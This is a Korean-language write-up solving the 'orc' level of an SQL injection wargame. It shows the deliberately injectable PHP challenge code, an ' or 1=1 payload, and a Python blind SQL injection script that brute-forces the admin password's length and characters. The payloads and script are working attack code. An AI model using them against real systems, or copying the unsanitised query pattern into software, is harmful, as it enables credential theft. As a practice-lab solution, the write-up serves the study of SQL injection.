<?php
include "./config.php"; 
 login_chk(); 
 dbconnect(); 
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
 $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
 echo "
query : {$query}
"; 
 $result = @mysql_fetch_array(mysql_query($query)); 
 if($result['id']) echo "
Hello admin
"; 
 $_GET[pw] = addslashes($_GET[pw]); 
 $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
 $result = @mysql_fetch_array(mysql_query($query)); 
 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
 highlight_file(__FILE__); 
?>
이건 쿼리가 두개다
일단 admin을 획득하려면 참을 만들면 되는데
select id from prob_orc where id='admin' and pw='1' or 1=1 -- a'
이거만으로 안 끝난다. 왜냐면 단순히 result['id']가 있기만해도 되기때문. 즉 이 문제는 blind sql로 pw가 맞으면 admin이 출력될거고 아니면 안뜨고 뭐 그런..느낌이다
blind sqli 시에 깔끔히 답만 알려주지 않기때문에 length로 체크를 하도록 간단히 코드를 짰다. 그리고 이 사이트는 cloudflare를 사용하고 있기때문에 cookie 가 없으면 돌아가지 않아서 이때부터 requests 모듈을 사용하기로 했다
#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import requests
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=dihankitbe8chkt37mk9tt9040;'}
url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
loop = 0
pw = ''
for j in range(1,30):
 data = "?pw=' or ( id='admin' and length(pw)={} )-- a".format(j)
 r = requests.get(url+data,headers=headers)
 if r.text.find('Hello admin') != -1 :
 loop = j
 break
for i in range(1,loop+1):
 for j in string:
 data = "?pw=' or ( id='admin' and substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
 r = requests.get(url+data,headers=headers)
 if r.text.find('Hello admin') != -1 :
 pw = pw + j
 print "[!] found",pw
 break
 
print pw
돌리다보면 나온다